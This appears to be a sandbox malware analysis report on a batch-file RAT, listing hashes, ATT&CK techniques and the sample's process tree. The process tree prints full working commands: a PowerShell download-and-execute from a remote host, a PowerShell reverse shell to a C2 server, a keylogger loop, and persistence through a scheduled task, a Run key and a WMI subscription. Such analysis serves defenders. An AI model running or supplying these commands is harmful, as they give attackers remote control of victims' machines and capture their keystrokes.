9a43bb70e8e25182bccc700f92f0be34bc8b5e4bd3a7cd0695d70533f53958e6

Analysis

max time kernel
149s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:49

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General

Target
rat_build_250210_014652.bat
Size 4KB
Sample260529-b8tx1sav8s
SHA256 9a43bb70e8e25182bccc700f92f0be34bc8b5e4bd3a7cd0695d70533f53958e6
MD5 00f0c2b32dd782c52252d250a02a7f86
SHA1 8b69b1daeff622f91e8e99d4f6e80739fb095261
SHA512 d573974b9a8388d5eae5ba13ec64151a9d9356b60824d0b12e24078bc2cfcb39824a3d2d8d3eaabe42b7b2a449cb0038fd0a184633287593caa6b793e6f3a887
SSDEEP 96:KIzcWAUjTknNDUsB9/IopUWTku5V9ow7Ogodfpg0cTIg94nKHiFgZk8mvlo1xh:K2AUjUz9nFkux24TIfKHiFgkHlEh
TLSH
T1F6A10A1B67A7B520C8B0651CDE323844476CD6F72359CA8DBB88CCC42A4CF57C2256E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_250210.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
496	powershell.exe
1004	powershell.exe
720	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_250210 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_250210.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4716	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2332	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4476	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3232	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
496	powershell.exe
496	powershell.exe
1004	powershell.exe
1004	powershell.exe
720	powershell.exe
720	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3600	WMIC.exe
Token: SeSecurityPrivilege	3600	WMIC.exe
Token: SeTakeOwnershipPrivilege	3600	WMIC.exe
Token: SeLoadDriverPrivilege	3600	WMIC.exe
Token: SeSystemProfilePrivilege	3600	WMIC.exe
Token: SeSystemtimePrivilege	3600	WMIC.exe
Token: SeProfSingleProcessPrivilege	3600	WMIC.exe
Token: SeIncBasePriorityPrivilege	3600	WMIC.exe
Token: SeCreatePagefilePrivilege	3600	WMIC.exe
Token: SeBackupPrivilege	3600	WMIC.exe
Token: SeRestorePrivilege	3600	WMIC.exe
Token: SeShutdownPrivilege	3600	WMIC.exe
Token: SeDebugPrivilege	3600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3600	WMIC.exe
Token: SeRemoteShutdownPrivilege	3600	WMIC.exe
Token: SeUndockPrivilege	3600	WMIC.exe
Token: SeManageVolumePrivilege	3600	WMIC.exe
Token: 33	3600	WMIC.exe
Token: 34	3600	WMIC.exe
Token: 35	3600	WMIC.exe
Token: 36	3600	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3600	WMIC.exe
Token: SeSecurityPrivilege	3600	WMIC.exe
Token: SeTakeOwnershipPrivilege	3600	WMIC.exe
Token: SeLoadDriverPrivilege	3600	WMIC.exe
Token: SeSystemProfilePrivilege	3600	WMIC.exe
Token: SeSystemtimePrivilege	3600	WMIC.exe
Token: SeProfSingleProcessPrivilege	3600	WMIC.exe
Token: SeIncBasePriorityPrivilege	3600	WMIC.exe
Token: SeCreatePagefilePrivilege	3600	WMIC.exe
Token: SeBackupPrivilege	3600	WMIC.exe
Token: SeRestorePrivilege	3600	WMIC.exe
Token: SeShutdownPrivilege	3600	WMIC.exe
Token: SeDebugPrivilege	3600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3600	WMIC.exe
Token: SeRemoteShutdownPrivilege	3600	WMIC.exe
Token: SeUndockPrivilege	3600	WMIC.exe
Token: SeManageVolumePrivilege	3600	WMIC.exe
Token: 33	3600	WMIC.exe
Token: 34	3600	WMIC.exe
Token: 35	3600	WMIC.exe
Token: 36	3600	WMIC.exe
Token: SeIncreaseQuotaPrivilege	696	WMIC.exe
Token: SeSecurityPrivilege	696	WMIC.exe
Token: SeTakeOwnershipPrivilege	696	WMIC.exe
Token: SeLoadDriverPrivilege	696	WMIC.exe
Token: SeSystemProfilePrivilege	696	WMIC.exe
Token: SeSystemtimePrivilege	696	WMIC.exe
Token: SeProfSingleProcessPrivilege	696	WMIC.exe
Token: SeIncBasePriorityPrivilege	696	WMIC.exe
Token: SeCreatePagefilePrivilege	696	WMIC.exe
Token: SeBackupPrivilege	696	WMIC.exe
Token: SeRestorePrivilege	696	WMIC.exe
Token: SeShutdownPrivilege	696	WMIC.exe
Token: SeDebugPrivilege	696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	696	WMIC.exe
Token: SeRemoteShutdownPrivilege	696	WMIC.exe
Token: SeUndockPrivilege	696	WMIC.exe
Token: SeManageVolumePrivilege	696	WMIC.exe
Token: 33	696	WMIC.exe
Token: 34	696	WMIC.exe
Token: 35	696	WMIC.exe
Token: 36	696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	696	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 3232	1352	cmd.exe	82
PID 1352 wrote to memory of 4476	1352	cmd.exe	83
PID 1352 wrote to memory of 3600	1352	cmd.exe	84
PID 1352 wrote to memory of 696	1352	cmd.exe	86
PID 1352 wrote to memory of 3568	1352	cmd.exe	87
PID 1352 wrote to memory of 2332	1352	cmd.exe	90
PID 1352 wrote to memory of 4716	1352	cmd.exe	93
PID 1352 wrote to memory of 496	1352	cmd.exe	94
PID 1352 wrote to memory of 1004	1352	cmd.exe	95
PID 1352 wrote to memory of 720	1352	cmd.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_250210_014652.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_250210" /tr "C:\Users\Admin\AppData\Local\Temp\_250210.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3232
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_250210" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_250210.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4476
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_250210", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3600
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_250210", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_250210.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:696
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_250210.txt
  2⤵
  PID:3568
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2332
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_250210.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:720

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hwnezpab.xvl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hwnezpab.xvl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/496-3-0x000001EDEEBB0000-0x000001EDEEBD2000-memory.dmp

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memory/496-12-0x000001EDEDF80000-0x000001EDEEA42000-memory.dmp

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memory/720-31-0x0000012BC44B0000-0x0000012BC4F72000-memory.dmp

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memory/1004-22-0x0000026359D70000-0x000002635A832000-memory.dmp

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